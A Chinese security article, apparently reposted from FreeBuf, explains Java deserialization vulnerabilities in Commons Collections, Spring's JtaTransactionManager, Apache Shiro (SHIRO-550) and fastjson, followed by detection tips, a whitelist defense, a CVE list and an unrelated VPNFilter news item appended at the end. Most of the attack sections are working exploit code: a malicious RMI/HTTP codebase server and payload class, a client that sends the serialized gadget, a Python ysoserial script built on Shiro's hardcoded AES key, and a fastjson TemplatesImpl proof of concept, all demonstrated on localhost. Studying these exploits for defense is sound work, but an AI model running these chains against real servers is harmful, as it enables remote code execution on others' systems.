map.put("aaa","bbb");    }}

其中构造了几个InvokerTransformer ,其中每一个transform()的输入分别是前一个transform() 方法的输出。因此这段代码翻译过来等价于:

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("evilCmd");

这样就可以通过Transform调用链来执行系统命令。

此时,我们提到的Commons Collections并没有与反序列有关,也不能系统命令执行。但是由于AnnotationInvocationHandler这个类的存在,和上面的一些点结合起来,就产生了安全隐患。

class AnnotationInvocationHandler implements InvocationHandler, 
Serializable {    private static final long serialVersionUID = 
6182022883658399397L;    private final Class<? extends Annotation>
 type;    private final Map<String, Object> memberValues;   
 private transient volatile Method[] memberMethods = null;   
 AnnotationInvocationHandler(Class<? extends Annotation> var1, 
Map<String, Object> var2) {        Class[] var3 = 
var1.getInterfaces();        if (var1.isAnnotation() && 
var3.length == 1 && var3[0] == Annotation.class) {           
 this.type = var1;            this.memberValues = var2;        } else {  
          throw new AnnotationFormatError("Attempt to create proxy for a
 non-annotation type.");        }    }     private void 
readObject(ObjectInputStream var1) throws IOException, 
ClassNotFoundException {        GetField var2 = var1.readFields();      
  Class var3 = (Class)var2.get("type", (Object)null);        Map var4 = 
(Map)var2.get("memberValues", (Object)null);        AnnotationType var5 =
 null;        try {            var5 = AnnotationType.getInstance(var3);  
      } catch (IllegalArgumentException var13) {            throw new 
InvalidObjectException("Non-annotation type in annotation serial 
stream");        }        Map var6 = var5.memberTypes();       
 LinkedHashMap var7 = new LinkedHashMap();        String var10;       
 Object var11;        for(Iterator var8 = var4.entrySet().iterator(); 
var8.hasNext(); var7.put(var10, var11)) {            Entry var9 = 
(Entry)var8.next();            var10 = (String)var9.getKey();           
 var11 = null;            Class var12 = (Class)var6.get(var10);          
  if (var12 != null) {                var11 = var9.getValue();          
      if (!var12.isInstance(var11) && !(var11 instanceof 
ExceptionProxy)) {                    var11 = (new 
AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + 
"]")).setMember((Method)var5.members().get(var10));                }    
        }        }       ...    }}

AnnotationInvocationHandler是这样一个类:

可序列化

有一个Map 类型的属性

readObject() 方法中调用了Map属性 的setValue()方法。

如果攻击者进行构造一个AnnotationInvocationHandler对象,其Map 属性的实际类型为TransformedMap ,并且将其中的Transformer构造为恶意调用链。那么在反序列化过程中就会执行readObject(),继而执行TransformedMap属性的setValue()方法,导致TransformedMap中值的改变,然后触发攻击者构造的恶意恶意调用链。最后产生系统命令执行的漏洞。漏洞的逻辑如下:

Deserialize -> call readObject() -> call setValue()-> call transform() -> call Runtime.exec()

Spring RMI反序列化漏洞

JNDI在了解Spring RMI反序列化漏洞之前需要了解RMI以及JNDI这两个概念:

RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口

JNDI (Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口

JNDI和RMI的主要关系是RMI注册的服务可以通过JNDIAPI访问。在讨论到Spring反序列化漏洞之前,先看看如果通过JNDI来调用RMI注册的服务。

在使用RMI注册服务时有两个较为重要的属性className和codebase url。className指明了服务的地址和名称,而codebase url指明了调用时对象的位置。一个简单的RMI注册服务如下:

xxxxxxxxxx Registry registry = LocateRegistry.createRegistry(1999);        Reference reference = new Reference(“RMIObject”, “RMIObject”,                ”http://127.0.0.1:8000/“);//实际加载的类为 http://127.0.0.1:8000/RMIObject.class        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind(“RMI”, referenceWrapper);//服务名称为RMI

当通过jndi的lookup()方法来查找127.0.0.1:1999/RMI服务时会加载http://127.0.0.1:8000/RMIObject.class这个类,加载成功后会调用RMIObject的构造方法。如果构造方法中存在恶意代码,就会引起RCE。

而在spring-tx.jar的JtaTransactionManager中存在readObject方法。该方法代码如下:

xxxxxxxxxxprivate void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {        ois.defaultReadObject();        this.jndiTemplate = new JndiTemplate();        this.initUserTransactionAndTransactionManager();        this.initTransactionSynchronizationRegistry();   }

其中initUserTransactionAndTransactionManager()又调用了方法lookupUserTransaction(),lookupUserTransaction()代码如下:

xxxxxxxxxx protected UserTransaction lookupUserTransaction(String userTransactionName) throws TransactionSystemException {   …     return (UserTransaction)this.getJndiTemplate().lookup(userTransactionName,                                                            UserTransaction.class);   …}

其中userTransactionName就是我们上面提到的RMI服务地址。因此,如果我们构造一个JtaTransactionManager对象,并且将这个对象的userTransactionName设置为我们自己的RMI服务器,并且使这个类在目标服务器上进行反序列化,在反序列化的过程中会执行lookup()方法,而lookup方法的参数即RMI服务的地址是我们自己设置的地址,通过这个地址会返回一个恶意的对象,然后在实例化该对象的过程中就产生了RCE。流程图如下:

xxxxxxxxxx反序列化 -> 调用 readObject() -> 调用 initUserTransactionAndTransactionManager()  -> 调用 lookupUserTransaction() -> 调用 lookup() -> 实例化含有恶意代码的类 -> 造成命令执行

在本机搭建一个测试环境,Server类模拟接受数据并进行反序列化的服务器:

xxxxxxxxxxServerSocket serverSocket = new ServerSocket(9999);System.out.println(“Server started on port “+serverSocket.getLocalPort());while(true) {    Socket socket=serverSocket.accept();    System.out.println(“Connection received from “+socket.getInetAddress());    ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());    try {        Object object = objectInputStream.readObject();        System.out.println(“Read object “+object);   } catch(Exception e) {        System.out.println(“Exception caught while reading object”);        e.printStackTrace();   }}

RMIServer模拟我们的codebase服务器:

xxxxxxxxxx//main:  Registry registry = LocateRegistry.createRegistry(1999);        Reference reference = new Reference(“RMIObject”, “RMIObject”,                ”http://127.0.0.1:8000/“);//实际加载的类为 http://127.0.0.1:8000/RMIObject.class        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind(“RMI”, referenceWrapper);//服务名称为RMI        //开启http服务        HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), 0);        httpServer.createContext(“/”,new HttpFileHandler());        httpServer.start();//HttpFileHandler: System.out.println(“new http request from “+httpExchange.getRemoteAddress()+” “+httpExchange.getRequestURI());                InputStream inputStream = HttpFileHandler.class.getResourceAsStream(httpExchange.getRequestURI().getPath().replace(“/”,”"));                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();                while(inputStream.available()>0) {                    byteArrayOutputStream.write(inputStream.read());               }                byte[] bytes = byteArrayOutputStream.toByteArray();                httpExchange.sendResponseHeaders(200, bytes.length);                httpExchange.getResponseBody().write(bytes);                httpExchange.close();

RMIObject为payload:

xxxxxxxxxxprivate static String exec(String cmd) throws Exception {        String sb = “”;        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));        String lineStr;        while ((lineStr = inBr.readLine()) != null)            sb += lineStr + “\n”;        inBr.close();        in.close();        return sb;   }    public RMIObject() throws Exception {        String cmd=”gnome-calculator”;        throw new Exception(exec(cmd));   }

然后使用Client发送payload:

xxxxxxxxxx   Socket socket=new Socket(“127.0.0.1″,9999);            String jndiAddress = “rmi://127.0.0.1:1999/RMI”;            org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();            object.setUserTransactionName(jndiAddress);            ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());            objectOutputStream.writeObject(object);            objectOutputStream.flush();//发送payload            while(true) {                Thread.sleep(1000);           }

运行结果为:

springrec.png

shiro反序列化漏洞

Apache Shiro是一个Java安全框架,有身份验证、授权、密码学和会话管理等功能。shiro官方编号为550的issue曾报出反序列化漏洞。根据官方的issuehttps://issues.apache.org/jira/browse/SHIRO-550。漏洞的出现在CookieRememberMeManager中。shiro将一个用于进行验证的类编码、加密后保存在cookie中。在需要对一个用户的身份进行鉴定时,CookieRememberMeManager会进行以下步骤:

获取用户cookie中rememberMe对应的值

Base64解码

AES解密

反序列步骤3得到的内容

可以看出步骤4变进行了序列化与反序列化,这里也就有了RCE的机会。但是从第3点看,在进行反序列化之前还进行了AES解密。这里简短的提一下AES是一种对称加密方式,也就是加密密钥和解密密钥相同。当我们知道AES加密的密钥,IV(初始化向量),模式这三个要点之后就可以构造一个服务器能够正常解密的数据包。当然,攻击者一般不知道密钥的内容,但是CookieRememberMeManager是硬编码在源代码中的,可以随意下载查看。同时大部分的用户并不会对初始的密钥进行修改,这也就导致了漏洞的产生。这里也说明了在使用一些开源组件的时候,最开始一定要对一些默认的安全选项、信息进行修改,避免产生安全漏洞。

回到CookieRememberMeManager源代码上,在其父类AbstractRememberMeManager中可以看到属性DEFAULT_CIPHER_KEY_BYTES,也就是硬编码的密钥为:

xxxxxxxxxxprivate static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”);

然后查看其中的encrypt()方法:

xxxxxxxxxx protected byte[] encrypt(byte[] serialized) {        byte[] value = serialized;        CipherService cipherService = this.getCipherService();        if (cipherService != null) {            ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());            value = byteSource.getBytes();       }        return value;   }

其中使用了CipherService进行加密,其真正类型DefaultBlockCipherService中构造函数中有:

xxxxxxxxxx  public DefaultBlockCipherService(String algorithmName) {       …        this.modeName = OperationMode.CBC.name(); … }

这里里可以看出加密的采用的CBC模式。再查看DefaultBlockCipherService的父类JcaCipherService其中一个函数:

xxxxxxxxxxpublic void encrypt(InputStream in, OutputStream out, byte[] key) throws CryptoException { …    this.encrypt(in, out, key, iv, generate);}

可以看出shiro直接将IV写入OutputStream中,随后写入Cookie中。而从initializationVectorSize还可以得知IV的长度为128比特,也就是16字节。因此我们便能推断出cookie的前16个字节为IV。到此AES加密的三要素密钥,IV,模式就已经完全取得了。

最后在DefaultSerializer中找到deserialize()方法:

xxxxxxxxxxpublic T deserialize(byte[] serialized) throws SerializationException {        if (serialized == null) {            String msg = “argument cannot be null.”;            throw new IllegalArgumentException(msg);       } else {            ByteArrayInputStream bais = new ByteArrayInputStream(serialized);            BufferedInputStream bis = new BufferedInputStream(bais);            try {                ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);                T deserialized = ois.readObject();                ois.close();                return deserialized;           } catch (Exception var6) {                String msg = “Unable to deserialze argument byte array.”;                throw new SerializationException(msg, var6);           }       }   }

可以看到其中有readObject() 方法,然后可以采用Apache Commons Collections 反序列化漏洞提到的方法构造payload即可。具体流程如下:

构造恶意类并序列化

将序列化后的数据利用AES进行加密

将加密后的数据进行base64编码

设置cooke : rememberMe = base64编码得到的数据

发送payload

使用python和ysoserial构造exp:

xxxxxxxxxximport sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AES def encode_rememberme(command):    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', "gnome-calculator"], stdout=subprocess.PIPE)    BS   = AES.block_size    pad = lambda s: s + ((BS – len(s) % BS) * chr(BS – len(s) % BS)).encode()    key =  ”kPH+bIxk5D2deZiIxcaaaA==”    mode =  AES.MODE_CBC    iv   =  uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    file_body = pad(popen.stdout.read())    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    return base64_ciphertextif __name__ == ‘__main__’:    payload = encode_rememberme(sys.argv[1])        with open(“/tmp/payload.cookie”, “w”) as fpw:        print(“rememberMe={}”.format(payload.decode()), file=fpw)

在本地搭建一个shiro应用,端口为8080,使用httpie发送payload:

http :8080/hello Cookie:cat /tmp/payload.cookie

可以弹出计算器:

shiro.png

fastjson反序列化

fastjson是由阿里巴巴维护的一个处理json数据的一个开源库,在2017年爆出有反序列化漏洞。先看一下基本用法:

User user = new 
User();user.setUsername("lily");user.setSex("girl");String userStr = 
JSON.toJSONString(user, 
SerializerFeature.WriteClassName);System.out.println(userStr);Object 
user2 = 
JSON.parseObject(userStr);System.out.println(user2);//output:run!{"@type":"com.knownsec.fastjson.rce.User","Sex":"girl","Username":"lily","sex":"girl","username":"lily"}run!{"username":"lily","sex":"girl","Username":"lily","Sex":"girl"}

其中User类如下:

public class User {    public String Username;    public String Sex;   
 public String getUsername() {        return Username;   }    public 
void setUsername(String username) {          
 System.out.println("run!");        Username = username;   }    public 
String getSex() {        return Sex;   }    public void setSex(String 
sex) {           Sex = sex;   }}

可以看出在序列化和反序列化的同时都会调用set方法。因此如果能找到一个类,类中的某一个set方法可以由我们控制,就有机会产生RCE。

而在类com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中,有一个属性为_outputProperties,理论上来说_outputProperties对应的set方法为get_outputProperties(),但是fastjson的特性,自动将getOutputProperties()匹配为对应get方法。因此在fastjson对TemplatesImpl类型进行反序列化时会调用getOutputProperties()方法。而接下来又会调用一系列方法,最后达到getTransletInstance(),该方法中会根据TemplatesImpl的_bytecodes实例化一个对象,而该属性正好是我们可控制的。完整的调用栈为:

getTransletInstance()getTransletInstance( )newTransformer()getOutputProperties()

其中getTransletInstance()代码如下:

private Translet getTransletInstance()    throws 
TransformerConfigurationException {      try {          if (_name == 
null) return null;          if (_class == null) defineTransletClasses();
          AbstractTranslet translet = (AbstractTranslet) 
_class[_transletIndex].newInstance();          ...          return 
translet;      }      catch (InstantiationException e) {      }     
 catch (IllegalAccessException e) {      }    }

可以看出,在newInstance()的时候会将示例的类型强转为AbstractTranslet,因此构造的payload的类一定要继承AbstractTranslet。最后构造一个本地测试环境:

public class POC {    public static String readClass(String cls){       
 ByteArrayOutputStream bos = new ByteArrayOutputStream();            try
 {               IOUtils.copy(new FileInputStream(new File(cls)), bos);  
     } catch (IOException e) {            e.printStackTrace();       }  
      return Base64.encodeBase64String(bos.toByteArray());      }   
 public static void test_autoTypeDeny() throws Exception {  ParserConfig
 config = new ParserConfig();    final String evilClassPath = 
"/home/lishion/IdeaProjects/springrec/target/classes/com/fastjson/rce/Test.class";
       String evilCode = readClass(evilClassPath);    final String 
NASTY_CLASS = 
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";    String 
text1 = "{\"@type\":\"" + NASTY_CLASS +       
 "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{
    }," +       
 "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
    System.out.println(text1);    Object obj = JSON.parseObject(text1, 
Object.class, config, Feature.SupportNonPublicField);      }    public 
static void main(String args[]){        try {           
 test_autoTypeDeny();       } catch (Exception e) {           
 e.printStackTrace();          }   }}

最后弹出计算器:

fastjson.png

如何发现反序列化漏洞

0xaced0005为java反序列化头标志,可以通过嗅探网络流量中是否包含该二进制序列来判断服务器是否对网络数据进行序列化。

进行代码审计,分析重写了readObject()的类和使用了ObjectInputStream方法中是否存在不安全逻辑。

java RMI 技术基于反序列化,其默认端口为1099。

查看项目是否依赖于已经产生反序列化漏洞的组件。

java反序列化漏洞防护

对于由开源项目和各种开源组件引起的漏洞通常是无法预料的,使用这些项目的的开发者也不太可能在使用之前对所有依赖项目和组件都进行安全分析。因此对于这些漏洞,开发者要做到经常关注一些漏洞公布平台,在发现漏洞后做到及早修复,将损失降到最低。

对于自己所编写的代码,可以通过以下手段来防范反序列化安全问题:

在RMI中使用反序列化时,序列化字节的来源基本是协同工作的服务器。如果普通的用户不会与服务器进行反序列化的数据交互,那么有必要对反序列化数据来源进行认证,避免反序列化不信任来源的数据。

对反序列化的类名进行白名单校验。继承ObjectInputStream重写resolveClass()方法可以实现:

public final class SafeObjectInputStream extends ObjectInputStream{    

   ...    private List safeClassNames = new ArrayList();   
 safeClassNames.add("safeClass1");    safeClassNames.add("safeClass1");  
  safeClassNames.add("safeClass1");   ...    protected    Class<?>
 resolveClass(ObjectStreamClass desc)            throws IOException, 
ClassNotFoundException{         
if(!safeClassNames.contains(desc.getName())){ //如果类名不在白名单中,抛出异常         
      throw new ClassNotFoundException(desc.getName()+" is not safe!");  
     }        returnsuper.resolveClass(desc);   }   ...}    

禁止JVM执行外部命令Runtime.exec()。

cve上与java相关的反序列化漏洞

CVE-2018-0147: vulnerability in Java deserialization used by Cisco Secure AccessControl System (ACS) prior to release 5.8 patch 9 could allow anunauthenticated, remote attacker to execute arbitrary commands on a…

CVE-2017-9844:AP NetWeaver 7400.12.21.30308 allows remote attackers to cause adenial of service and possibly execute arbitrary code via a craftedserialized Java object in a request to metadatauploader, aka SAPS…

CVE-2017-7504:TTPServerILServlet.java in JMS over HTTP Invocation Layer of theJbossMQ implementation, which is enabled by default in Red Hat JbossApplication Server <= Jboss 4.X does not restrict the classes for…

CVE-2017-5983:he JIRA Workflow Designer Plugin in Atlassian JIRA Server before6.3.0 improperly uses an XML parser and deserializer, which allowsremote attackers to execute arbitrary code, read arbitrary files, o…

CVE-2017-5878:he AMF unmarshallers in Red5 Media Server before 1.0.8 do notrestrict the classes for which it performs deserialization, whichallows remote attackers to execute arbitrary code via craftedserialize…

CVE-2017-5586:penText Documentum D2 (formerly EMC Documentum D2) 4.x allows remoteattackers to execute arbitrary commands via a crafted serialized Javaobject, related to the BeanShell (bsh) and Apache Commons Co…

CVE-2017-15708:n Apache Synapse, by default no authentication is required for JavaRemote Method Invocation (RMI). So Apache Synapse 3.0.1 or allprevious releases (3.0.0, 2.1.0, 2.0.0, 1.2, 1.1.2, 1.1.1) allowsre…

CVE-2017-1000353:enkins versions 2.56 and earlier as well as 2.46.1 LTS and earlierare vulnerable to an unauthenticated remote code execution. Anunauthenticated remote code execution vulnerability allowed attackers…

CVE-2016-9299:he remoting module in Jenkins before 2.32 and LTS before 2.19.3allows remote attackers to execute arbitrary code via a craftedserialized Java object, which triggers an LDAP query to a third-partys…

CVE-2016-7065:he JMX servlet in Red Hat JBoss Enterprise Application Platform (EAP)4 and 5 allows remote authenticated users to cause a denial of serviceand possibly execute arbitrary code via a crafted serializ…

CVE-2016-6814:hen an application with unsupported Codehaus versions of Groovy from1.7.0 to 2.4.3, Apache Groovy 2.4.4 to 2.4.7 on classpath usesstandard Java serialization mechanisms, e.g. to communicate between…

CVE-2016-6809:pache Tika before 1.14 allows Java code execution for serializedobjects embedded in MATLAB files. The issue exists because Tika invokesJMatIO to do native deserialization.

CVE-2016-6793:he DiskFileItem class in Apache Wicket 6.x before 6.25.0 and 1.5.xbefore 1.5.7 allows remote attackers to cause a denial of service(infinite loop) and write to, move, and delete files with theperm…

CVE-2016-6501:Frog Artifactory before 4.11 allows remote attackers to executearbitrary code via an LDAP attribute with a crafted serialized Javaobject, aka LDAP entry poisoning.

CVE-2016-6500:nspecified methods in the RACF Connector component before 1.1.1.0 inForgeRock OpenIDM and OpenICF improperly call the SearchControlsconstructor with returnObjFlag set to true, which allows remotea…

CVE-2016-6496:he LDAP directory connector in Atlassian Crowd before 2.8.8 and 2.9.xbefore 2.9.5 allows remote attackers to execute arbitrary code via anLDAP attribute with a crafted serialized Java object, aka L…

CVE-2016-6199:bjectSocketWrapper.java in Gradle 2.12 allows remote attackers toexecute arbitrary code via a crafted serialized object.

CVE-2016-5983:BM WebSphere Application Server (WAS) 7.0 before 7.0.0.43, 8.0 before8.0.0.13, 8.5 before 8.5.5.11, 9.0 before 9.0.0.2, and Liberty before16.0.0.4 allows remote authenticated users to execute arbit…

CVE-2016-5003:he Apache XML-RPC (aka ws-xmlrpc) library 3.1.3, as used in ApacheArchiva, allows remote attackers to execute arbitrary code via acrafted serialized Java object in an ex:serializable element.

CVE-2016-4385:he RMI service in HP Network Automation Software 9.1x, 9.2x, 10.0xbefore 10.00.02.01, and 10.1x before 10.11.00.01 allows remoteattackers to execute arbitrary commands via a crafted serialized Java…

CVE-2016-4373:he AdminUI in HPE Operations Manager (OM) before 9.21.130 on Linux,Unix, and Solaris allows remote attackers to execute arbitrarycommands via a crafted serialized Java object, related to the Apache…

CVE-2016-4372 :P E iMC PLAT before 7.2 E0403P04, iMC EAD before 7.2 E0405P05, iMC APMbefore 7.2 E0401P04, iMC NTA before 7.2 E0401P01, iMC BIMS before 7.2E0402P02, and iMC UAM_TAM before 7.2 E0405P05 allow remote …

CVE-2016-4369 :P E Discovery and Dependency Mapping Inventory (DDMi) 9.30, 9.31,9.32, 9.32 update 1, 9.32 update 2, and 9.32 update 3 allows remoteauthenticated users to execute arbitrary commands via a craftedse…

CVE-2016-4368 :P E Universal CMDB 10.0 through 10.21, Universal CMDB ConfigurationManager 10.0 through 10.21, and Universal Discovery 10.0 through 10.21allow remote attackers to execute arbitrary commands via a cr…

CVE-2016-3642:he RMI service in SolarWinds Virtualization Manager 6.3.1 and earlierallows remote attackers to execute arbitrary commands via a craftedserialized Java object, related to the Apache Commons Collect…

CVE-2016-2510:eanShell (bsh) before 2.0b6, when included on the classpath by anapplication that uses Java serialization or XStream, allows remoteattackers to execute arbitrary code via crafted serialized data,r…

CVE-2016-2170:pache OFBiz 12.04.x before 12.04.06 and 13.07.x before 13.07.03 allowremote attackers to execute arbitrary commands via a craftedserialized Java object, related to the Apache Commons Collectionsli…

CVE-2016-2009 :P E Network Node Manager i (NNMi) 9.20, 9.23, 9.24, 9.25, 10.00, and10.01 allows remote authenticated users to execute arbitrary commandsvia a crafted serialized Java object, related to the Apache C…

CVE-2016-2003 :P E P9000 Command View Advanced Edition Software (CVAE) 7.x and 8.xbefore 8.4.0-00 and XP7 CVAE 7.x and 8.x before 8.4.0-00 allow remoteattackers to execute arbitrary commands via a crafted serializ…

CVE-2016-2000 :P E Asset Manager 9.40, 9.41, and 9.50 and Asset Manager CloudSystemChargeback 9.40 allow remote attackers to execute arbitrary commandsvia a crafted serialized Java object, related to the Apache Co…

CVE-2016-1999:he server in HP Release Control 9.13, 9.20, and 9.21 allows remoteattackers to execute arbitrary commands via a crafted serialized Javaobject, related to the Apache Commons Collections library.

CVE-2016-1998 :P E Service Manager (SM) 9.3x before 9.35 P4 and 9.4x before 9.41.P2allows remote attackers to execute arbitrary commands via a craftedserialized Java object, related to the Apache Commons Collectio…

CVE-2016-1997 :P E Operations Orchestration 10.x before 10.51 and OperationsOrchestration content before 1.7.0 allow remote attackers to executearbitrary commands via a crafted serialized Java object, related tot…

CVE-2016-1986 :P Continuous Delivery Automation (CDA) 1.30 allows remote attackersto execute arbitrary commands via a crafted serialized Java object,related to the Apache Commons Collections library.

CVE-2016-1985 :P E Operations Manager 8.x and 9.0 on Windows allows remote attackersto execute arbitrary commands via a crafted serialized Java object,related to the Apache Commons Collections library.

CVE-2016-1114:dobe ColdFusion 10 before Update 19, 11 before Update 8, and 2016before Update 1 allows remote attackers to execute arbitrary commandsvia a crafted serialized Java object, related to the Apache Com…

CVE-2016-10304:he SAP EP-RUNTIME component in SAP NetWeaver AS JAVA 7.5 allowsremote authenticated users to cause a denial of service (out-of-memoryerror and service instability) via a crafted serialized Java obj…

CVE-2016-0958:dobe Experience Manager 5.6.1, 6.0.0, and 6.1.0 might allow remoteattackers to have an unspecified impact via a crafted serialized Javaobject.

CVE-2016-0276:BM Financial Transaction Manager (FTM) for ACH Services forMulti-Platform 2.1.1.2 and 3.0.0.x before fp0013, FinancialTransaction Manager (FTM) for Check Services for Multi-Platform2.1.1.2 and 3.0…

CVE-2015-8765:ntel McAfee ePolicy Orchestrator (ePO) 4.6.9 and earlier, 5.0.x,5.1.x before 5.1.3 Hotfix 1106041, and 5.3.x before 5.3.1 Hotfix1106041 allow remote attackers to execute arbitrary code via a crafte…

CVE-2015-8360:n unspecified resource in Atlassian Bamboo before 5.9.9 and 5.10.xbefore 5.10.0 allows remote attackers to execute arbitrary Java codevia serialized data to the JMS port.

CVE-2015-8103:he Jenkins CLI subsystem in Jenkins before 1.638 and LTS before1.625.2 allows remote attackers to execute arbitrary code via acrafted serialized Java object, related to a problematicwebapps/ROOT/W…

CVE-2015-7501:ed Hat JBoss A-MQ 6.x; BPM Suite (BPMS) 6.x; BRMS 6.x and 5.x; DataGrid (JDG) 6.x; Data Virtualization (JDV) 6.x and 5.x; EnterpriseApplication Platform 6.x, 5.x, and 4.3.x; Fuse 6.x; Fuse Service …

CVE-2015-7450:erialized-object interfaces in certain IBM analytics, businesssolutions, cognitive, IT infrastructure, and mobile and socialproducts allow remote attackers to execute arbitrary commands via acraft…

CVE-2015-6934:erialized-object interfaces in VMware vRealize Orchestrator 6.x,vCenter Orchestrator 5.x, vRealize Operations 6.x, vCenter Operations5.x, and vCenter Application Discovery Manager (vADM) 7.x allow …

CVE-2015-6420:erialized-object interfaces in certain Cisco Collaboration and SocialMedia; Endpoint Clients and Client Software; Network Application,Service, and Acceleration; Network and Content Security Devices…

CVE-2015-5348:pache Camel 2.6.x through 2.14.x, 2.15.x before 2.15.5, and 2.16.xbefore 2.16.1, when using (1) camel-jetty or (2) camel-servlet as aconsumer in Camel routes, allow remote attackers to execute arbi…

CVE-2015-5344:he camel-xstream component in Apache Camel before 2.15.5 and 2.16.xbefore 2.16.1 allow remote attackers to execute arbitrary commands viaa crafted serialized Java object in an HTTP request.

CVE-2015-5254:pache ActiveMQ 5.x before 5.13.0 does not restrict the classes thatcan be serialized in the broker, which allows remote attackers toexecute arbitrary code via a crafted serialized Java Message Serv…

CVE-2015-4852:he WLS Security component in Oracle WebLogic Server 10.3.6.0,12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers to executearbitrary commands via a crafted serialized Java object in T3 protoco…

CVE-2015-3253:he MethodClosure class in runtime/MethodClosure.java in Apache Groovy1.7.0 through 2.4.3 allows remote attackers to execute arbitrary codeor cause a denial of service via a crafted serialized objec…

CVE-2015-2828:A Spectrum 9.2.x and 9.3.x before 9.3 H02 does not properly validateserialized Java objects, which allows remote authenticated users toobtain administrative privileges via crafted object data.

CVE-2015-0225:he default configuration in Apache Cassandra 1.2.0 through 1.2.19,2.0.0 through 2.0.13, and 2.1.0 through 2.1.3 binds an unauthenticatedJMX/RMI interface to all network interfaces, which allows rem…

CVE-2014-9757:he Ignite Realtime Smack XMPP API, as used in Atlassian Bamboo before5.9.9 and 5.10.x before 5.10.0, allows remote configured XMPP serversto execute arbitrary Java code via serialized data in an XM…

CVE-2014-7911:uni/src/main/java/java/io/ObjectInputStream.java in thejava.io.ObjectInputStream implementation in Android before 5.0.0 doesnot verify that deserialization will result in an object that met thereq…

CVE-2013-5960:he authenticated-encryption feature in the symmetric-encryptionimplementation in the OWASP Enterprise Security API (ESAPI) for Java2.x before 2.1.0.1 does not properly resist tampering with seriali…

CVE-2013-5679:he authenticated-encryption feature in the symmetric-encryptionimplementation in the OWASP Enterprise Security API (ESAPI) for Java2.x before 2.1.0 does not properly resist tampering with serialize…

CVE-2013-4271:he default configuration of the ObjectRepresentation class in Restletbefore 2.1.4 deserializes objects from untrusted sources, which allowsremote attackers to execute arbitrary Java code via a seri…

CVE-2013-2165:esourceBuilderImpl.java in the RichFaces 3.x through 5.ximplementation in Red Hat JBoss Web Framework Kit before 2.3.0, RedHat JBoss Web Platform through 5.2.0, Red Hat JBoss EnterpriseApplication…

CVE-2013-0441:nspecified vulnerability in the Java Runtime Environment (JRE)component in Oracle Java SE 7 through Update 11, 6 through Update 38,5.0 through Update 38, and 1.4.2_40 and earlier, and OpenJDK 6 and…

CVE-2012-4858:BM Cognos Business Intelligence (BI) 8.4.1 before IF1, 10.1 beforeIF2, 10.1.1 before IF2, and 10.2 before IF1 does not properly validateJava serialized input, which allows remote attackers to execu…

CVE-2009-1094:nspecified vulnerability in the LDAP implementation in Java SEDevelopment Kit (JDK) and Java Runtime Environment (JRE) 5.0 Update 17and earlier; 6 Update 12 and earlier; SDK and JRE 1.3.1_24 andea…

CVE-2005-3583:1) Java Runtime Environment (JRE) and (2) Software Development Kit(SDK) 1.4.208, 1.4.209, and 1.5.0_05 and possibly other versionsallow remote attackers to cause a denial of service (JVM unrespon…

CVE-2004-2540:eadObject in (1) Java Runtime Environment (JRE) and (2) SoftwareDevelopment Kit (SDK) 1.4.0 through 1.4.2_05 allows remote attackersto cause a denial of service (JVM unresponsive) via crafted seria…

参考资料

2017年反序列化漏洞年度报告

Common Vulnerabilities and Exposures

Lib之过?Java反序列化漏洞通用利用分析

* 本文作者:知道创宇云安全,转载注明来自FreeBuf.COM

近日,思科Talos团队公开了一个新的恶意软件及系统“VPNFilter”。

研究结果表明,VPNFilter是一个可扩展性强、有较好健壮性、高水平及非常危险的安全威胁,高度模块化的框架允许快速更改操作目标设备,同时为情报收集和寻找攻击平台提供支撑。VPNFilter破坏性较强,可以通过烧坏用户的设备来掩盖踪迹,比简单地删除恶意软件痕迹更深入,同时VPNFilter恶意软件的组件允许盗窃网站凭证和监控Modbus SCADA协议。如果需要的话,类似命令可大规模地执行,可能会导致成千上万的设备无法使用。

影响面广 危害巨大

由于Talos团队的观察都是远程,而不是在设备上的,很多情况下很难确定具体的版本号和模型。但根据研究结果,所有如下设备都有与VPNFilter恶意软件相关的公开漏洞及威胁。不过以下清单是不完整的,但随着研究的深入,其他设备可能也会受到影响。

LINKSYS设备:E1200、E2500、WRVS4400N

MIKROTIK云核心路由器ROUTEROS版本:1016、1036、1072

NETGEAR设备:DGN2200、R6400、R7000、R8000、WNR1000、WNR2000

QNAP设备:TS251、TS439 Pro及其他运行QTS软件的QNAP NAS存储设备。

TP-LINK设备:R600VPN

针对VPNFilter恶意软件的防护建议

由于受影响的设备大多数直接连接到互联网,攻击者和设备之间大多没有安全设备,大多数受影响的设备有公开漏洞,此外,大多数都没有内置反恶意软件功能,这些使得对于此类威胁防护比较困难。

阿里安全猎户座实验室针对VPNFilter恶意软件的防护建议:

1)确保您的设备与补丁版本是最新的,及时应用更新补丁,避免存在公开漏洞。

2)设备对外最小化开放端口服务,减少攻击面。

3)设备默认口令需要及时变更,同时满足复杂度要求。

